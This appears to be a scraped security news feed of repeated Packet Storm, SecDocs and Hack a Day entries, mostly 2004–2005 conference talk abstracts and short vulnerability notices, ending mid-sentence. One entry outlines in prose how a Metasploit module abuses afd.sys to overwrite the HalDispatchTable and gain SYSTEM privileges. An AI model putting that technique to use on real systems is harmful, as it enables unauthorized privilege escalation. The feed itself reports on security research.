Multiple vulnerabilities have been found in Samsung Kies synchronization utility that allows remote attacker to compromise affected system, execute and modify arbitrary files, modify arbitrary directories and modify System Registry with privileges of the current user.
-
-
11:01
»
Hack a Day
[Scott] has a pretty nice alarm system at his house – it will give the operator at his alarm company enough information to determine if it’s a fire alarm, burglary, or just a cat walking in front of a sensor. [Scott] wanted to cut out the middle man and receive notifications from his alarm system [...]
-
-
21:55
»
SecDocs
Authors:
Alexander Polyakov Val Smith Tags:
security Event:
Black Hat DC 2011 Abstract: Do you know where are all critical company data is stored? Do you know how easily you can be attacked by cybercriminals targeting this data? How can attacker sabotage or commit espionage against your company just having access to one system? Amidst SCADA, Win 7, and the Cloud there is a type of critical system no one is talking about. Enterprise Resource Planning (ERP). All that is needed is to gain access to the corporate business application infrastructure, specifically systems such as ERP, Customer Relationship Management (CRM), and Supplier Relationship Management (SRM). If an attacker seeks to gather critical financial, personnel, or other sensitive data, these are the types of systems where it is stored. These systems are often also trusted and connected to other secure systems such as banking client workstations as well as SCADA systems. These days most companies have strong security policies and patch management as it applies to standard networks and operating systems, but these rarely exist or are in place for ERP type systems. An attacker can bypass all of a companies investments in security by attacking an ERP system. We will show examples of different custom business applications including custom as well as the more popular ones and previously unknown vulnerabilities that can be exploited to gain unauthorized access to critical business data. Many of these type vulnerabilities cannot be easily patched because they are design flaws or business logic problems requiring a redesign of the system.
-
-
9:59
»
SecDocs
Authors:
Dan Kaminsky Tags:
DNS Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: DNS is best known for translating domain names into the numerical addresses the Internet can route. But it's capable of so much more. Ultimately, DNS is a globally deployed, routing, caching overlay network deployed across the entire Internet, both public and private. From traversing firewalls to the mass duplication of audio streams, we will demonstrate some unexpected features of this ancient system. The Domain Name System is a powerful, flexible, and integral part of the Internet. DNS's most common use is to translate names -- such as www.blackhat.com -- to addresses -- 216.231.63.34. But behind this deceptively simple operation lies a complex and interesting system, distributed widely but with a deeply centralized core. Though most commonly used to execute simple translations of the sort mentioned earlier, three aspects of the machinery lend themselves to more creative exploits. By creatively abusing the heirarchal, recursive, and cache-oriented nature of the multi-million-node DNS architecture, we can effect a range of unexpected functionality, including firewall penetration, bidirectional anonymous communication, large scale data transmission, and even "Voice over DNS".
-
9:59
»
SecDocs
Authors:
Dan Kaminsky Tags:
DNS Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: DNS is best known for translating domain names into the numerical addresses the Internet can route. But it's capable of so much more. Ultimately, DNS is a globally deployed, routing, caching overlay network deployed across the entire Internet, both public and private. From traversing firewalls to the mass duplication of audio streams, we will demonstrate some unexpected features of this ancient system. The Domain Name System is a powerful, flexible, and integral part of the Internet. DNS's most common use is to translate names -- such as www.blackhat.com -- to addresses -- 216.231.63.34. But behind this deceptively simple operation lies a complex and interesting system, distributed widely but with a deeply centralized core. Though most commonly used to execute simple translations of the sort mentioned earlier, three aspects of the machinery lend themselves to more creative exploits. By creatively abusing the heirarchal, recursive, and cache-oriented nature of the multi-million-node DNS architecture, we can effect a range of unexpected functionality, including firewall penetration, bidirectional anonymous communication, large scale data transmission, and even "Voice over DNS".
-
-
9:00
»
Hack a Day
Our AMA is live right now. Come ask us questions. You can ask here in our comments too, but frankly the Reddit system is better for at length nested discussion. Items to be discussed: -how to submit your story to hackaday -our new template coming soon Filed under: news
-
-
16:38
»
Packet Storm Security Recent Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
16:38
»
Packet Storm Security Tools
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
16:38
»
Packet Storm Security Misc. Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
-
17:04
»
Packet Storm Security Exploits
This Metasploit module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This Metasploit module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability.
-
17:04
»
Packet Storm Security Recent Files
This Metasploit module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This Metasploit module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability.
-
17:04
»
Packet Storm Security Misc. Files
This Metasploit module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This Metasploit module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability.
-
-
21:36
»
SecDocs
Authors:
Hubert Feyrer Tags:
technology Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: Have you tried installing a certain package on (say) Linux, Solaris, MacOS X, MS Windows and NetBSD at the same time? The pkgsrc system allows doing so by a simple "make install" instead of knowing lots of details. The presentation discusses the problems when installing open source on Unix(like) systems and identifies specific areas that need attention, and how they manifest in various architectures of open source systems today, leading from a rather simple layered theory to a complex graph in reality, which requires environmental considerations like demands for flexibility and maintainability when addressed. The pkgsrc system is introduced as a possible solution, which can be used to install software easily from source independent of your operating system. A general overview of the pkgsrc system is given followed by an user-oriented example on how to bootstrap it and compile packages on a Linux system. with a special emphasis of working without root privileges. Operation of the pkgsrc system is described next, with details on the install process and an overview of available packages. Last, details on how a package is constructed are outlined, including dependency handling. The presentation is intended for users of all Unix(like) systems that need to maintain and update software on a regular base and across various platforms, emphasizing the cross-platform nature of pkgsrc, which includes Linux, FreeBSD, OpenBSD, MacOS X, Solaris, Irix and even MS Windows. Developers working on other package systems will get an overview of how things are done in NetBSD, which is very close to the FreeBSD and OpenBSD ports system as well as the Gentoo portage system.
-
21:36
»
SecDocs
Authors:
Hubert Feyrer Tags:
technology Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: Have you tried installing a certain package on (say) Linux, Solaris, MacOS X, MS Windows and NetBSD at the same time? The pkgsrc system allows doing so by a simple "make install" instead of knowing lots of details. The presentation discusses the problems when installing open source on Unix(like) systems and identifies specific areas that need attention, and how they manifest in various architectures of open source systems today, leading from a rather simple layered theory to a complex graph in reality, which requires environmental considerations like demands for flexibility and maintainability when addressed. The pkgsrc system is introduced as a possible solution, which can be used to install software easily from source independent of your operating system. A general overview of the pkgsrc system is given followed by an user-oriented example on how to bootstrap it and compile packages on a Linux system. with a special emphasis of working without root privileges. Operation of the pkgsrc system is described next, with details on the install process and an overview of available packages. Last, details on how a package is constructed are outlined, including dependency handling. The presentation is intended for users of all Unix(like) systems that need to maintain and update software on a regular base and across various platforms, emphasizing the cross-platform nature of pkgsrc, which includes Linux, FreeBSD, OpenBSD, MacOS X, Solaris, Irix and even MS Windows. Developers working on other package systems will get an overview of how things are done in NetBSD, which is very close to the FreeBSD and OpenBSD ports system as well as the Gentoo portage system.
-
21:36
»
SecDocs
Authors:
Hubert Feyrer Tags:
technology Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: Have you tried installing a certain package on (say) Linux, Solaris, MacOS X, MS Windows and NetBSD at the same time? The pkgsrc system allows doing so by a simple "make install" instead of knowing lots of details. The presentation discusses the problems when installing open source on Unix(like) systems and identifies specific areas that need attention, and how they manifest in various architectures of open source systems today, leading from a rather simple layered theory to a complex graph in reality, which requires environmental considerations like demands for flexibility and maintainability when addressed. The pkgsrc system is introduced as a possible solution, which can be used to install software easily from source independent of your operating system. A general overview of the pkgsrc system is given followed by an user-oriented example on how to bootstrap it and compile packages on a Linux system. with a special emphasis of working without root privileges. Operation of the pkgsrc system is described next, with details on the install process and an overview of available packages. Last, details on how a package is constructed are outlined, including dependency handling. The presentation is intended for users of all Unix(like) systems that need to maintain and update software on a regular base and across various platforms, emphasizing the cross-platform nature of pkgsrc, which includes Linux, FreeBSD, OpenBSD, MacOS X, Solaris, Irix and even MS Windows. Developers working on other package systems will get an overview of how things are done in NetBSD, which is very close to the FreeBSD and OpenBSD ports system as well as the Gentoo portage system.
-
-
9:01
»
SecDocs
Authors:
Adam Lackorzynski Michael Peter Tags:
kernel Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: In the talk we will present an overview about the L4 microkernel family as well as systems built on top of it. We will focus on L4Linux and secure systems. The distinguished feature of L4 microkernels is their limitiation to the most primitive abstractions. All other functionality is implemented in user land. The system design allows that system core components can be isolated by address spaces. L4Linux is a port of the Linux kernel to the L4 microkernel. L4Linux runs as a user space application side by side with other L4 programs on the microkernel system. We will present the design and the most interesting implementation details. Building secure systems on top of microkernels exemplifies how kernel design influences the overall characteristics of the whole system. In the second part of the talk we will outline how such a secure system can be constructed and will show an example on top of L4. The talk will give an overview of the L4 microkernel family and systems built utilizing a microkernel. We will briefly introduce DROPS the OS project of the TU Dresden group. L4 microkernels only accomdate functionality that cannot be implemented in user space thereby striving for minimality. The current set of abstractions comprises threads as abstractions of activity, address spaces as protection domain and IPC as a safe communication primitive. Other functionality that is found in monolithic kernels like file systems and process management is implemented in OS personality servers in user space. The provided primitives facilitate a component oriented system design where components are isolated and communicate only through small, well defined interfaces. One of the systems built on top of an L4 microkernel is L4Linux. L4Linux is a port of the Linux kernel to L4 and runs as a user space application side by side with other L4 programs. L4Linux is binary compatible with the standard Linux, i.e. it runs unmodified off-the-shelve Linux distributions. The first L4Linux version was developed in 1996. The current version of L4Linux is based on Linux 2.6. L4Linux is utilized in scenarios ranging from acting as a driver infrastructure container providing hardware abstractions at driver level to native L4 applications to running multiple instances with different requirements. The second topic will be secure systems. Building secure systems based on microkernels is attractive as the involved components are relatively small and can be assembled as needed. Keeping the software for the Trusted Computing Base small is one goal of such systems. A small TCB is a key requirement for secure systems as otherwise (high) assurance claims cannot be substantiated. In the talk we will present one example of such a system, involving several of the aforementioned parts of the project. If circumstances permit, we'll also show a (small) demo.
-
9:01
»
SecDocs
Authors:
Adam Lackorzynski Michael Peter Tags:
kernel Event:
Chaos Communication Congress 21th (21C3) 2004 Abstract: In the talk we will present an overview about the L4 microkernel family as well as systems built on top of it. We will focus on L4Linux and secure systems. The distinguished feature of L4 microkernels is their limitiation to the most primitive abstractions. All other functionality is implemented in user land. The system design allows that system core components can be isolated by address spaces. L4Linux is a port of the Linux kernel to the L4 microkernel. L4Linux runs as a user space application side by side with other L4 programs on the microkernel system. We will present the design and the most interesting implementation details. Building secure systems on top of microkernels exemplifies how kernel design influences the overall characteristics of the whole system. In the second part of the talk we will outline how such a secure system can be constructed and will show an example on top of L4. The talk will give an overview of the L4 microkernel family and systems built utilizing a microkernel. We will briefly introduce DROPS the OS project of the TU Dresden group. L4 microkernels only accomdate functionality that cannot be implemented in user space thereby striving for minimality. The current set of abstractions comprises threads as abstractions of activity, address spaces as protection domain and IPC as a safe communication primitive. Other functionality that is found in monolithic kernels like file systems and process management is implemented in OS personality servers in user space. The provided primitives facilitate a component oriented system design where components are isolated and communicate only through small, well defined interfaces. One of the systems built on top of an L4 microkernel is L4Linux. L4Linux is a port of the Linux kernel to L4 and runs as a user space application side by side with other L4 programs. L4Linux is binary compatible with the standard Linux, i.e. it runs unmodified off-the-shelve Linux distributions. The first L4Linux version was developed in 1996. The current version of L4Linux is based on Linux 2.6. L4Linux is utilized in scenarios ranging from acting as a driver infrastructure container providing hardware abstractions at driver level to native L4 applications to running multiple instances with different requirements. The second topic will be secure systems. Building secure systems based on microkernels is attractive as the involved components are relatively small and can be assembled as needed. Keeping the software for the Trusted Computing Base small is one goal of such systems. A small TCB is a key requirement for secure systems as otherwise (high) assurance claims cannot be substantiated. In the talk we will present one example of such a system, involving several of the aforementioned parts of the project. If circumstances permit, we'll also show a (small) demo.
-
-
9:02
»
Hack a Day
Drone technology is driving the aerospace industry as companies trip over each other trying to develop the next big thing. Here’s a good example of what we’re talking about. Lasers can no be used to keep a UAV in the air indefinitely. The trick is to add an array of photovoltaic cells specifically tuned to [...]
-
-
12:25
»
SecDocs
Authors:
Erwin Erkinger Felix Erkinger Tags:
technology Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: An overview on realtime software design, with explanations of commonly used terms and methods. What is the real-time thing - is my PC real-time - for what can I use it? These typical questions will be covered in this lecture. It is a basic introduction in the area of real-time design. The first part of the lecture is about - the introduction: In theory real-time is everything which reacts within a specified time on an external request. Sometimes Real-Time is used to distinguish between the "real" time and the virtual "model" time of a computer system. If this system can interact with the "real" time it is said to be real-time capable. So - every computer is a "real-time" system (as a non reaction on a request would often be called an error) - even the most popular PC operating system (we all know). But, as expected, real-time programming and real-time software is more than just this definition (since this would not give any benefit). Real-Time programming tries to get the maximum reactivity and reliability out of a computer system, because the typical application has to react on certain events reliable within a specified time. e.g. It would not make sense to assign a traffic ordance to a laggard, as he would not react within the needed time resulting (best case) in traffic jams. But maybe this laggard is fast enough to sort (real)-mail. As the previous example shows, real-time depends on the application: commonly it is distinguished between Soft-Real-Time, with un-guaranteed reaction and Hard-Real-Time with a guaranteed reaction. For some applications a normal windowed OS is good enough - for others it isn't. The lecture will give some examples on some typical real-time applications and the used operating system. The second part of the lecture is the practical part: An introduce the basic functions a real-time capable OS has to support (e.g. like semaphores or message boxes) will be given. Typical real-time vocabulary (like blocking or thread) will be covered. And finally within this part a simple real-time application will be shown to illustrate the function of the described elements (which lead to a short RTAI Real-Time linux program). The third part of the lecture will be about pit-falls and design limits. This is again a theoretic part, which shows how excellent real-time design can (and will) fail on certain occasions. Typical pit-falls like the hungry philosopher problems (deadlock), priority inversion, and event storms will be explained together with typical prevention mechanisms. Finally this part will address some promising design methods (like virtualisation and fixed time scheduling).
-
12:25
»
SecDocs
Authors:
Erwin Erkinger Felix Erkinger Tags:
technology Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: An overview on realtime software design, with explanations of commonly used terms and methods. What is the real-time thing - is my PC real-time - for what can I use it? These typical questions will be covered in this lecture. It is a basic introduction in the area of real-time design. The first part of the lecture is about - the introduction: In theory real-time is everything which reacts within a specified time on an external request. Sometimes Real-Time is used to distinguish between the "real" time and the virtual "model" time of a computer system. If this system can interact with the "real" time it is said to be real-time capable. So - every computer is a "real-time" system (as a non reaction on a request would often be called an error) - even the most popular PC operating system (we all know). But, as expected, real-time programming and real-time software is more than just this definition (since this would not give any benefit). Real-Time programming tries to get the maximum reactivity and reliability out of a computer system, because the typical application has to react on certain events reliable within a specified time. e.g. It would not make sense to assign a traffic ordance to a laggard, as he would not react within the needed time resulting (best case) in traffic jams. But maybe this laggard is fast enough to sort (real)-mail. As the previous example shows, real-time depends on the application: commonly it is distinguished between Soft-Real-Time, with un-guaranteed reaction and Hard-Real-Time with a guaranteed reaction. For some applications a normal windowed OS is good enough - for others it isn't. The lecture will give some examples on some typical real-time applications and the used operating system. The second part of the lecture is the practical part: An introduce the basic functions a real-time capable OS has to support (e.g. like semaphores or message boxes) will be given. Typical real-time vocabulary (like blocking or thread) will be covered. And finally within this part a simple real-time application will be shown to illustrate the function of the described elements (which lead to a short RTAI Real-Time linux program). The third part of the lecture will be about pit-falls and design limits. This is again a theoretic part, which shows how excellent real-time design can (and will) fail on certain occasions. Typical pit-falls like the hungry philosopher problems (deadlock), priority inversion, and event storms will be explained together with typical prevention mechanisms. Finally this part will address some promising design methods (like virtualisation and fixed time scheduling).
-
12:25
»
SecDocs
Authors:
Erwin Erkinger Felix Erkinger Tags:
technology Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: An overview on realtime software design, with explanations of commonly used terms and methods. What is the real-time thing - is my PC real-time - for what can I use it? These typical questions will be covered in this lecture. It is a basic introduction in the area of real-time design. The first part of the lecture is about - the introduction: In theory real-time is everything which reacts within a specified time on an external request. Sometimes Real-Time is used to distinguish between the "real" time and the virtual "model" time of a computer system. If this system can interact with the "real" time it is said to be real-time capable. So - every computer is a "real-time" system (as a non reaction on a request would often be called an error) - even the most popular PC operating system (we all know). But, as expected, real-time programming and real-time software is more than just this definition (since this would not give any benefit). Real-Time programming tries to get the maximum reactivity and reliability out of a computer system, because the typical application has to react on certain events reliable within a specified time. e.g. It would not make sense to assign a traffic ordance to a laggard, as he would not react within the needed time resulting (best case) in traffic jams. But maybe this laggard is fast enough to sort (real)-mail. As the previous example shows, real-time depends on the application: commonly it is distinguished between Soft-Real-Time, with un-guaranteed reaction and Hard-Real-Time with a guaranteed reaction. For some applications a normal windowed OS is good enough - for others it isn't. The lecture will give some examples on some typical real-time applications and the used operating system. The second part of the lecture is the practical part: An introduce the basic functions a real-time capable OS has to support (e.g. like semaphores or message boxes) will be given. Typical real-time vocabulary (like blocking or thread) will be covered. And finally within this part a simple real-time application will be shown to illustrate the function of the described elements (which lead to a short RTAI Real-Time linux program). The third part of the lecture will be about pit-falls and design limits. This is again a theoretic part, which shows how excellent real-time design can (and will) fail on certain occasions. Typical pit-falls like the hungry philosopher problems (deadlock), priority inversion, and event storms will be explained together with typical prevention mechanisms. Finally this part will address some promising design methods (like virtualisation and fixed time scheduling).
-
-
15:01
»
Hack a Day
[Folkert van Heusden] installed a bunch of cameras in and around his home. Ostensibly this is for watching the kitties from work, but we’re sure the more accepted purpose is for security. He and his wife don’t really want the cameras rolling when they’re at home. So he added a system by the front door [...]
-
14:01
»
Hack a Day
So you know how on Breaking Bad, the chemist [Gale Boetticher] sets up an impressive rig to brew the best cup of coffee? Well what do you think of a group of engineers taking on beer as their side project? This rig, which we do think is pretty insane, is the result of embedded system engineers [...]
-
-
21:41
»
SecDocs
Authors:
Felix Domke Michael Steil Tags:
games Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A lot about Xbox hacking has been published earlier. This talk summarizes all this, explains some very cool new hacks and analyzes the 15 mistakes Microsoft made in the Xbox security system. It also gives an introduction on the Xbox 360. We have made talks on the Xbox security on 19C3 and 20C3. One might think that there is nothing new about Xbox hacking, and in a way that is true - there is few really new information, but a lot of information that the Xbox Linux Project has never published earlier: For example, it has never been revealed how easily the "Xbox V1.1" has been hacked - so that Microsoft would be unable to fix it, and we could use this method for future Xboxes. (The specific flaw of the x86 architecture that is responsible for this can possibly be used to circumvent any Trusted Computing BIOS!) The talk also summarizes all hacks that have been done and all flaws that have been found in the Xbox security system. It analyzes how Microsoft designed the security system and explains the 15 mistakes they made. Fifteen mistakes... in a video game console security system... 7 mistakes in the design, 6 mistakes in the implementation and 2 mistakes in their policies. And these are *types* of mistakes - they made several mistakes more than once, in different fields. In the remaining time, we will talk about the Xbox 360 security system. The release date of the Xbox is late November, just one month before the 22C3, but we are certain that we will still be able to present a lot of interesting information about the Xbox 360 security system as well as approaches to hacking it.
-
21:41
»
SecDocs
Authors:
Felix Domke Michael Steil Tags:
games Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A lot about Xbox hacking has been published earlier. This talk summarizes all this, explains some very cool new hacks and analyzes the 15 mistakes Microsoft made in the Xbox security system. It also gives an introduction on the Xbox 360. We have made talks on the Xbox security on 19C3 and 20C3. One might think that there is nothing new about Xbox hacking, and in a way that is true - there is few really new information, but a lot of information that the Xbox Linux Project has never published earlier: For example, it has never been revealed how easily the "Xbox V1.1" has been hacked - so that Microsoft would be unable to fix it, and we could use this method for future Xboxes. (The specific flaw of the x86 architecture that is responsible for this can possibly be used to circumvent any Trusted Computing BIOS!) The talk also summarizes all hacks that have been done and all flaws that have been found in the Xbox security system. It analyzes how Microsoft designed the security system and explains the 15 mistakes they made. Fifteen mistakes... in a video game console security system... 7 mistakes in the design, 6 mistakes in the implementation and 2 mistakes in their policies. And these are *types* of mistakes - they made several mistakes more than once, in different fields. In the remaining time, we will talk about the Xbox 360 security system. The release date of the Xbox is late November, just one month before the 22C3, but we are certain that we will still be able to present a lot of interesting information about the Xbox 360 security system as well as approaches to hacking it.
-
21:41
»
SecDocs
Authors:
Felix Domke Michael Steil Tags:
games Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A lot about Xbox hacking has been published earlier. This talk summarizes all this, explains some very cool new hacks and analyzes the 15 mistakes Microsoft made in the Xbox security system. It also gives an introduction on the Xbox 360. We have made talks on the Xbox security on 19C3 and 20C3. One might think that there is nothing new about Xbox hacking, and in a way that is true - there is few really new information, but a lot of information that the Xbox Linux Project has never published earlier: For example, it has never been revealed how easily the "Xbox V1.1" has been hacked - so that Microsoft would be unable to fix it, and we could use this method for future Xboxes. (The specific flaw of the x86 architecture that is responsible for this can possibly be used to circumvent any Trusted Computing BIOS!) The talk also summarizes all hacks that have been done and all flaws that have been found in the Xbox security system. It analyzes how Microsoft designed the security system and explains the 15 mistakes they made. Fifteen mistakes... in a video game console security system... 7 mistakes in the design, 6 mistakes in the implementation and 2 mistakes in their policies. And these are *types* of mistakes - they made several mistakes more than once, in different fields. In the remaining time, we will talk about the Xbox 360 security system. The release date of the Xbox is late November, just one month before the 22C3, but we are certain that we will still be able to present a lot of interesting information about the Xbox 360 security system as well as approaches to hacking it.
-
-
21:39
»
SecDocs
Authors:
Eric Blossom Tags:
air traffic Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. Passive radar systems allow you to determine the position and velocity of aircraft, etc, using broadcast TV and FM radio transmitters as illuminators. The system works by watching the direct path and reflections from L transmitters using M coherent receivers at N locations. From the raw data we extract estimates of bistatic range, doppler and angle of arrival. These estimates are fed into a tracking algorithm that attempts to sort airplanes from clutter and noise.
-
21:39
»
SecDocs
Authors:
Eric Blossom Tags:
air traffic Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. Passive radar systems allow you to determine the position and velocity of aircraft, etc, using broadcast TV and FM radio transmitters as illuminators. The system works by watching the direct path and reflections from L transmitters using M coherent receivers at N locations. From the raw data we extract estimates of bistatic range, doppler and angle of arrival. These estimates are fed into a tracking algorithm that attempts to sort airplanes from clutter and noise.
-
21:39
»
SecDocs
Authors:
Eric Blossom Tags:
air traffic Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. The lecture describes how to build your own passive radar system using relatively low-cost hardware and free software. Passive radar systems allow you to determine the position and velocity of aircraft, etc, using broadcast TV and FM radio transmitters as illuminators. The system works by watching the direct path and reflections from L transmitters using M coherent receivers at N locations. From the raw data we extract estimates of bistatic range, doppler and angle of arrival. These estimates are fed into a tracking algorithm that attempts to sort airplanes from clutter and noise.
-
-
7:39
»
Hack a Day
[Lior] wanted to cancel the monitoring system for his home’s alarm, but he didn’t want to stop using the alarm all together. The trick is to rig up some way to monitor it himself. It would have been simple to have it just call him instead of the alarm company since the system just uses [...]
-
-
8:10
»
SecDocs
Authors:
Nicholas Bentley Tags:
law Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A discussion of the Intellectual Contributions model and the Rights Office system as an alternative for regulating copyright in a digital environment. Imagine that when you next buy a musical recording, a book, a chunk of code, or a film that you know that you own access rights to that work for the rest of your life and there will be a system in place to support these rights. You can anonymously use the content whenever and wherever you like, on the device of your choosing and in the format of you choosing. You can even legally pass on a copy to family and friends. At the same time you can actively support your favourite artists, performers, and creators and their work will always be attributed to them. Wouldn’t most people say this would be the ideal situation? The proposed Rights Office system supports such a scenario. It proposes replacing the copy-based model of Copyright with a rights-based model. A new regime for our digital world that can use the Internet and modern technology to maximum advantage for distributing intellectual content while still recognising and rewarding the author and other players in the production chain. My lecture would briefly introduce Intellectual Contributions as a new model for analyzing the trade in intellectual property and review analogue copyright in the light of this model. I then go on to look at DRM, levies and Creative Commons licences from the point of view of Intellectual Contributions model. Following this introduction I will present the Rights Office system that proposes a distributed, peer to peer, rights management infrastructure that could provide the basis of trading intellectual works in the digital future. I describe the dual persistent identification system that provides the tangible reference that replaces the physical analogue copies as the trading commodity. I then describe how new business models operating in the Rights Office environment can remove the need for expensive DRM technology but still provide a revenue chain for artists and authors and how P2P networks could become the norm for distribution intellectual content. Of course there will still be cheats who won’t play fair but the Rights Office system has the potential to limit the worst case of cheating where someone illegally profits from another’s work. Finally, I would like to have a discussion on the merits of the Rights Office system and get feedback on the possibility of developing the system at the community level as it appears to very difficult to introduce this concept to the established media players.
-
-
21:46
»
SecDocs
Authors:
Nicholas Bentley Tags:
law Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A discussion of the Intellectual Contributions model and the Rights Office system as an alternative for regulating copyright in a digital environment. Imagine that when you next buy a musical recording, a book, a chunk of code, or a film that you know that you own access rights to that work for the rest of your life and there will be a system in place to support these rights. You can anonymously use the content whenever and wherever you like, on the device of your choosing and in the format of you choosing. You can even legally pass on a copy to family and friends. At the same time you can actively support your favourite artists, performers, and creators and their work will always be attributed to them. Wouldn’t most people say this would be the ideal situation? The proposed Rights Office system supports such a scenario. It proposes replacing the copy-based model of Copyright with a rights-based model. A new regime for our digital world that can use the Internet and modern technology to maximum advantage for distributing intellectual content while still recognising and rewarding the author and other players in the production chain. My lecture would briefly introduce Intellectual Contributions as a new model for analyzing the trade in intellectual property and review analogue copyright in the light of this model. I then go on to look at DRM, levies and Creative Commons licences from the point of view of Intellectual Contributions model. Following this introduction I will present the Rights Office system that proposes a distributed, peer to peer, rights management infrastructure that could provide the basis of trading intellectual works in the digital future. I describe the dual persistent identification system that provides the tangible reference that replaces the physical analogue copies as the trading commodity. I then describe how new business models operating in the Rights Office environment can remove the need for expensive DRM technology but still provide a revenue chain for artists and authors and how P2P networks could become the norm for distribution intellectual content. Of course there will still be cheats who won’t play fair but the Rights Office system has the potential to limit the worst case of cheating where someone illegally profits from another’s work. Finally, I would like to have a discussion on the merits of the Rights Office system and get feedback on the possibility of developing the system at the community level as it appears to very difficult to introduce this concept to the established media players.
-
21:46
»
SecDocs
Authors:
Nicholas Bentley Tags:
law Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A discussion of the Intellectual Contributions model and the Rights Office system as an alternative for regulating copyright in a digital environment. Imagine that when you next buy a musical recording, a book, a chunk of code, or a film that you know that you own access rights to that work for the rest of your life and there will be a system in place to support these rights. You can anonymously use the content whenever and wherever you like, on the device of your choosing and in the format of you choosing. You can even legally pass on a copy to family and friends. At the same time you can actively support your favourite artists, performers, and creators and their work will always be attributed to them. Wouldn’t most people say this would be the ideal situation? The proposed Rights Office system supports such a scenario. It proposes replacing the copy-based model of Copyright with a rights-based model. A new regime for our digital world that can use the Internet and modern technology to maximum advantage for distributing intellectual content while still recognising and rewarding the author and other players in the production chain. My lecture would briefly introduce Intellectual Contributions as a new model for analyzing the trade in intellectual property and review analogue copyright in the light of this model. I then go on to look at DRM, levies and Creative Commons licences from the point of view of Intellectual Contributions model. Following this introduction I will present the Rights Office system that proposes a distributed, peer to peer, rights management infrastructure that could provide the basis of trading intellectual works in the digital future. I describe the dual persistent identification system that provides the tangible reference that replaces the physical analogue copies as the trading commodity. I then describe how new business models operating in the Rights Office environment can remove the need for expensive DRM technology but still provide a revenue chain for artists and authors and how P2P networks could become the norm for distribution intellectual content. Of course there will still be cheats who won’t play fair but the Rights Office system has the potential to limit the worst case of cheating where someone illegally profits from another’s work. Finally, I would like to have a discussion on the merits of the Rights Office system and get feedback on the possibility of developing the system at the community level as it appears to very difficult to introduce this concept to the established media players.
-
-
11:01
»
Hack a Day
While the whole 3d movie/game craze seems to be ramping up, it really isn’t a new thing. We all recall those fancy red-blue glasses that were popular in theaters for a while, but I’m not talking about that. Passive 3d projection (using polarized glasses) has been around for a while too. Many people have figured [...]
-
-
0:30
»
Packet Storm Security Advisories
Secunia Security Advisory - A vulnerability has been reported in FreeRADIUS, which can be exploited by malicious people to compromise a vulnerable system.
-
-
21:47
»
SecDocs
Authors:
Victor Eliashberg Tags:
brain Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A representation of an untrained human brain, call it B(0), is encoded in the human genome -- its size can hardly exceed a few megabytes. In contrast, a representation of a trained brain, B(t), after big enough time t (say t=20years) must be very long (terabytes?) – it must include a representation of the brain's individual experience. How can a "simple" B(0) change into an extremely complex B(t) in the course of learning? Consider a cognitive system (W,D,B), where W is an external world, D is a set of human-like sensory and motor devices, and B is a control system simulating the work of human nervous system (for simplicity, B will be referred to as the brain). System (D,B) can be thought of as a human-like robot. Let us divide (W,D,B) into two subsystems: the brain, B, and the external world, W, as it appears to the brain via devices D – subsystem (W,D). In this representation, both subsystems can be treated as abstract "machines," the inputs of B being the outputs of (W,D), and vice versa. Let B(t) denote the state of B at moment t, where t=0 is the beginning of learning. The talk promotes the following general propositions: There must exist a relatively short formal representation of B(0). This representation is encoded, in some form, in the human genome and can be short enough to fit into a single floppy disk (megabytes). Any formal representation of B(t) with a big t, say t=20years, must be very long (terabytes) -- B(t) must include a representation of a very large individual experience. Let B(t)=(H(t),S(t)), where H(t) is a representation of “brain hardware” (e.g., in the form of a neural network model), and S(t) is a representation of the “brain software” (e.g., in the form of a set of synaptic gains). The hardware H(t) is close to H(0) -- the main difference is between initial software S(0) and the software S(t) created in the course of learning. The right methodology should be directed at reverse engineering B(0)=(H(0), S(0)). It is practically impossible to find and understand S(t) without first finding S(0) and understanding the process of learning that transforms S(0) into S(t). To find B(0) one needs to rely on a combination of psychological and neurobiological data. Ignoring psychological data leads to the, so-called, "mindless brains," whereas ignoring neurobiological data leads to the, so-called, "brainless minds."Traditional Artificial Neural Networks (ANN) and Artificial Intelligence (AI) research had fallen pray to this 